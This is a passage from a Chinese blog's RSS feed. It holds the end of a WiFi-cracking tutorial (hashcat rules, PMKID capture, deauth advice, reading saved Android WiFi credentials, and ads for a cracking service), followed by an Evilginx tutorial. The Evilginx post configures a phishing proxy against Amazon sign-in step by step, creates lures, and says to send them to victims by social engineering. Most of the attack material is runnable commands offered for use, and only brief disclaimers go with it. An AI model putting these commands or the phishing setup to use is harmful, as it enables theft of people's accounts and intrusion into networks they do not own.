&lt;td>⭐⭐&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>英文名+年份&lt;/td>
&lt;td>michael2020&lt;/td>
&lt;td>⭐⭐&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h3 id="3-利用规则攻击">3. 利用规则攻击&lt;/h3>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 创建一个规则文件 wifi.rule&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">cat &amp;gt; wifi.rule &lt;span class="s">&amp;lt;&amp;lt; &amp;#39;EOF&amp;#39;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s">$1 $2 $3 $4 $5 $6 $7 $8
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s">$8 $8 $8 $8 $8 $8 $8 $8
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s">$1 $2 $3 $4 $5 $6 $7 $8 $9 $0
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s">^[Ww]ifi
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s">^$1$2$3$4
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s">EOF&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 使用规则攻击&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">hashcat -m &lt;span class="m">22000&lt;/span> -a &lt;span class="m">0&lt;/span> wifi_hash.hc22000 common_words.txt -r wifi.rule
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="4-pmkid-攻击无需握手的新方法">4. PMKID 攻击（无需握手的新方法）&lt;/h3>
&lt;p>WPA2 有一个较新的攻击向量——PMKID，不需要等待设备握手：&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 使用 hcxdumptool 抓取 PMKID&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo hcxdumptool -i wlan0mon -o pmkid_capture.pcapng --enable_status&lt;span class="o">=&lt;/span>&lt;span class="m">1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 等待几分钟，如果路由器支持 PMKID，会自动获取&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 然后转换并破解&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">hcxpcapngtool -o pmkid.hc22000 pmkid_capture.pcapng
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">hashcat -m &lt;span class="m">22000&lt;/span> -a &lt;span class="m">0&lt;/span> pmkid.hc22000 wordlist.txt
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>&lt;strong>PMKID 的优势&lt;/strong>：不需要有设备在线，只要路由器开着就行。&lt;/p>
&lt;h2 id="各方法对比">各方法对比&lt;/h2>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>方法&lt;/th>
&lt;th>速度&lt;/th>
&lt;th>难度&lt;/th>
&lt;th>需要 GPU&lt;/th>
&lt;th>适合场景&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>aircrack-ng&lt;/td>
&lt;td>慢&lt;/td>
&lt;td>中&lt;/td>
&lt;td>否&lt;/td>
&lt;td>简单字典攻击&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Hashcat&lt;/td>
&lt;td>极快&lt;/td>
&lt;td>高&lt;/td>
&lt;td>是&lt;/td>
&lt;td>专业破解&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Pyrit&lt;/td>
&lt;td>快&lt;/td>
&lt;td>中&lt;/td>
&lt;td>可选&lt;/td>
&lt;td>PMK 预计算&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Python 脚本&lt;/td>
&lt;td>慢&lt;/td>
&lt;td>高&lt;/td>
&lt;td>否&lt;/td>
&lt;td>学习原理&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;a class="link" href="https://www.catpasswd.com" target="_blank" rel="noopener"
>猫密网&lt;/a>&lt;/td>
&lt;td>快&lt;/td>
&lt;td>极低&lt;/td>
&lt;td>否&lt;/td>
&lt;td>普通用户&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h2 id="各品牌路由器能从管理页面查看密码吗">各品牌路由器能从管理页面查看密码吗？&lt;/h2>
&lt;p>如果你还能登录路由器管理页面，某些路由器可以直接查看 WiFi 密码：&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>品牌&lt;/th>
&lt;th>管理页面地址&lt;/th>
&lt;th>查看路径&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>TP-Link&lt;/td>
&lt;td>192.168.0.1 或 192.168.1.1&lt;/td>
&lt;td>无线设置 → 无线安全设置&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>小米&lt;/td>
&lt;td>192.168.31.1&lt;/td>
&lt;td>常用设置 → WiFi 设置&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>华为&lt;/td>
&lt;td>192.168.3.1&lt;/td>
&lt;td>我的 WiFi → 查看密码&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>华硕&lt;/td>
&lt;td>192.168.1.1&lt;/td>
&lt;td>无线网络 → 一般设置&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>OpenWrt&lt;/td>
&lt;td>192.168.1.1&lt;/td>
&lt;td>Network → Wireless → Edit&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;blockquote>
&lt;p>💡 &lt;strong>小技巧&lt;/strong>：即使管理页面密码显示为星号（***），也可以在浏览器开发者工具中查看明文。右键点击密码框 → 检查元素 → 将 &lt;code>type=&amp;quot;password&amp;quot;&lt;/code> 改为 &lt;code>type=&amp;quot;text&amp;quot;&lt;/code>。&lt;/p>
&lt;/blockquote>
&lt;h2 id="常见问题">常见问题&lt;/h2>
&lt;h3 id="q-抓到的-cap-文件显示0-handshakes怎么办">Q: 抓到的 cap 文件显示&amp;quot;0 handshakes&amp;quot;怎么办？&lt;/h3>
&lt;p>说明没有抓到完整的四次握手。解决方法：&lt;/p>
&lt;ol>
&lt;li>确保有设备连接到目标 WiFi&lt;/li>
&lt;li>多发送几次 deauth 包强制重连&lt;/li>
&lt;li>尝试更长的抓取时间&lt;/li>
&lt;li>试试 PMKID 方法（不需要握手）&lt;/li>
&lt;/ol>
&lt;h3 id="q-wpa3-能破解吗">Q: WPA3 能破解吗？&lt;/h3>
&lt;p>WPA3 大幅增强了安全性：&lt;/p>
&lt;ul>
&lt;li>使用 SAE（Simultaneous Authentication of Equals）替代 PSK&lt;/li>
&lt;li>防离线字典攻击&lt;/li>
&lt;li>目前没有已知的有效破解方法&lt;/li>
&lt;/ul>
&lt;p>如果你的 WiFi 是 WPA3 加密，目前基本无法离线破解。&lt;/p>
&lt;h3 id="q-内置笔记本网卡能抓握手包吗">Q: 内置笔记本网卡能抓握手包吗？&lt;/h3>
&lt;p>大多数内置网卡&lt;strong>不支持监听模式&lt;/strong>，无法抓取握手包。建议购买支持监听模式的外置 USB 无线网卡（50-200 元），或直接使用 &lt;a class="link" href="https://www.catpasswd.com" target="_blank" rel="noopener"
>猫密网&lt;/a> 上传已有的 cap 文件进行恢复。&lt;/p>
&lt;h3 id="q-5ghz-和-24ghz-频段的-wifi-抓包有区别吗">Q: 5GHz 和 2.4GHz 频段的 WiFi 抓包有区别吗？&lt;/h3>
&lt;p>抓取方法相同，但需要注意：&lt;/p>
&lt;ul>
&lt;li>无线网卡必须支持对应频段&lt;/li>
&lt;li>5GHz 的信道更多，扫描时间可能更长&lt;/li>
&lt;li>部分双频路由器在不同频段使用相同密码，可以从任一频段抓取&lt;/li>
&lt;/ul>
&lt;h3 id="q-从手机上已经连接的-wifi-能导出密码吗">Q: 从手机上已经连接的 WiFi 能导出密码吗？&lt;/h3>
&lt;p>可以。已 root 的 Android 手机：&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># WiFi 密码保存在以下文件中&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">cat /data/misc/wifi/WifiConfigStore.xml
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 或 Android 10+&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">cat /data/misc/apexdata/com.android.wifi/WifiConfigStore.xml
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>iPhone 可以通过 iCloud 钥匙串同步，在 Mac 的&amp;quot;钥匙串访问&amp;quot;中查看。&lt;/p>
&lt;h2 id="安全防护建议">安全防护建议&lt;/h2>
&lt;p>既然你了解了 WiFi 密码的破解方式，也应该知道如何保护自己的网络：&lt;/p>
&lt;ol>
&lt;li>&lt;strong>使用 WPA3&lt;/strong>：如果路由器支持，优先使用 WPA3 加密&lt;/li>
&lt;li>&lt;strong>设置强密码&lt;/strong>：12 位以上，混合大小写 + 数字 + 特殊字符&lt;/li>
&lt;li>&lt;strong>禁用 WPS&lt;/strong>：WPS 存在已知漏洞，容易被绕过&lt;/li>
&lt;li>&lt;strong>关闭 PMKID&lt;/strong>：在路由器设置中关闭（如果支持）&lt;/li>
&lt;li>&lt;strong>定期更换密码&lt;/strong>：尤其是当不信任的设备连接过你的网络时&lt;/li>
&lt;li>&lt;strong>使用访客网络&lt;/strong>：为访客设置独立的 WiFi 网络，与主网络隔离&lt;/li>
&lt;/ol>
&lt;h2 id="总结">总结&lt;/h2>
&lt;p>WiFi 密码恢复的核心步骤是：&lt;/p>
&lt;ol>
&lt;li>&lt;strong>先检查路由器管理页面&lt;/strong>：可能直接看到密码&lt;/li>
&lt;li>&lt;strong>检查手机/电脑已保存的 WiFi 密码&lt;/strong>：Android、iOS、Windows、macOS 都可以查看&lt;/li>
&lt;li>&lt;strong>抓取握手包&lt;/strong>：使用 aircrack-ng 套件&lt;/li>
&lt;li>&lt;strong>破解密码&lt;/strong>：Hashcat（最快）、aircrack-ng（最简单）、&lt;a class="link" href="https://www.catpasswd.com" target="_blank" rel="noopener"
>猫密网&lt;/a>（最省心）&lt;/li>
&lt;/ol>
&lt;p>记住，本文所有方法仅限恢复自己拥有的 WiFi 网络密码。保护网络安全，从设置一个强密码开始。&lt;/p></description></item><item><title>Evilginx 钓鱼网站实战案例教程</title><link>http://dosoos.github.io/blog_basha/p/evilginx-%E9%92%93%E9%B1%BC%E7%BD%91%E7%AB%99%E5%AE%9E%E6%88%98%E6%A1%88%E4%BE%8B%E6%95%99%E7%A8%8B/</link><pubDate>Sat, 24 Aug 2024 19:49:52 +0000</pubDate><guid>http://dosoos.github.io/blog_basha/p/evilginx-%E9%92%93%E9%B1%BC%E7%BD%91%E7%AB%99%E5%AE%9E%E6%88%98%E6%A1%88%E4%BE%8B%E6%95%99%E7%A8%8B/</guid><description>&lt;img src="http://dosoos.github.io/img/evilginx.png" alt="Featured image of post Evilginx 钓鱼网站实战案例教程" />&lt;p>Evialginx是一个中间人网络攻击框架, 用来盗取用户的账号密码, 向被害人发送钓鱼链接, 被害人点击进去钓鱼网站, 此时钓鱼网站的域名跟真实网站不一样, 其他都一样, 如果输入账号密码则会泄露账号的敏感数据, 请勿打开不明链接, 看清链接网址, 基本上就能杜绝钓鱼链接. 下面展示系统安装配置过程&lt;/p>
&lt;h2 id="首先介绍下系统的环境">首先介绍下系统的环境&lt;/h2>
&lt;ul>
&lt;li>Debian 12&lt;/li>
&lt;li>Evilginx 3.3&lt;/li>
&lt;li>工作目录/root&lt;/li>
&lt;li>对亚马逊账号进行钓鱼&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="接下来开始正式演示">接下来开始正式演示&lt;/h2>
&lt;h3 id="1下载与安装evilginx">1.下载与安装Evilginx&lt;/h3>
&lt;h4 id="下载evilginx">下载evilginx&lt;/h4>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">git clone https://github.com/kgretzky/evilginx2
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h4 id="安装golang">安装golang&lt;/h4>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">wget https://go.dev/dl/go1.23.0.linux-amd64.tar.gz
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">rm -rf /usr/local/go &amp;amp;&amp;amp; tar -C /usr/local -xzf go1.23.0.linux-amd64.tar.gz
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-gdscript3" data-lang="gdscript3">&lt;span class="line">&lt;span class="cl">&lt;span class="k">export&lt;/span> &lt;span class="n">PATH&lt;/span>&lt;span class="o">=$&lt;/span>&lt;span class="n">PATH&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">usr&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">local&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">go&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">bin&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h4 id="编译evilginx">编译evilginx&lt;/h4>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">make build
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h4 id="测试运行">测试运行&lt;/h4>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">./build/evilginx -v
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="2配置evilginx">2.配置evilginx&lt;/h3>
&lt;h4 id="编写phishlets模版这里我直接下载">编写phishlets模版(这里我直接下载)&lt;/h4>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">git clone https://github.com/simplerhacking/Evilginx3-Phishlets.git phishlets
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h4 id="创建config文件夹-然后运行evilginx">创建config文件夹, 然后运行evilginx&lt;/h4>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">mkdir config
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-gdscript3" data-lang="gdscript3">&lt;span class="line">&lt;span class="cl">&lt;span class="o">./&lt;/span>&lt;span class="n">evilginx2&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">build&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">evilginx&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">c&lt;/span> &lt;span class="o">/&lt;/span>&lt;span class="k">var&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">config&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">p&lt;/span> &lt;span class="o">/&lt;/span>&lt;span class="k">var&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">phishlets&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h4 id="进行基础配置">进行基础配置&lt;/h4>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">config domain 你的域名
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">config ipv4 bind 绑定本地网卡
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">config external 设定外网地址
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">config unauth_url https://signin.aws.amazon.com
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h4 id="我的示例">我的示例:&lt;/h4>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl"> domain : testfish.xxxx.com
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> external_ipv4 : 172.xxx.xxx.176
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> bind_ipv4 : 172.xxx.xxx.176
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> https_port : 443
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> dns_port : 53
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> unauth_url : https://signin.aws.amazon.com
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> autocert : on
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> gophish admin_url : https://testfish.xxxxx.com:7777
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> gophish api_key : c60e5bce24856c2c4giuearyig73
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> gophish insecure : false
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h4 id="配置钓鱼网站-以亚马逊为例">配置钓鱼网站, 以亚马逊为例&lt;/h4>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">phishlets create amazon test
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">phishlets hostname amazon:test amazon.xxxxx.com
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">phishlets enable amazon:test
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h4 id="配置钓鱼链接">配置钓鱼链接&lt;/h4>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">lures create amazon:test
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">lures get-url 0
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="3配置钓鱼网站的https域名evilginx自动配置">3.配置钓鱼网站的https域名(evilginx自动配置)&lt;/h3>
&lt;ul>
&lt;li>ns1.你的域名 指向你的服务器IP&lt;/li>
&lt;li>ns2.你的域名 指向你的服务器IP&lt;/li>
&lt;li>其他域名也指向你的服务器IP&lt;/li>
&lt;/ul>
&lt;h3 id="4通过社工手段将获取到的钓鱼链接发送给被害人">4.通过社工手段将获取到的钓鱼链接发送给被害人&lt;/h3>
&lt;p>开始运行吧&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">./evilginx2/build/evilginx -c &amp;#34;配置目录&amp;#34; -p &amp;#34;钓鱼模版目录&amp;#34; -debug
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
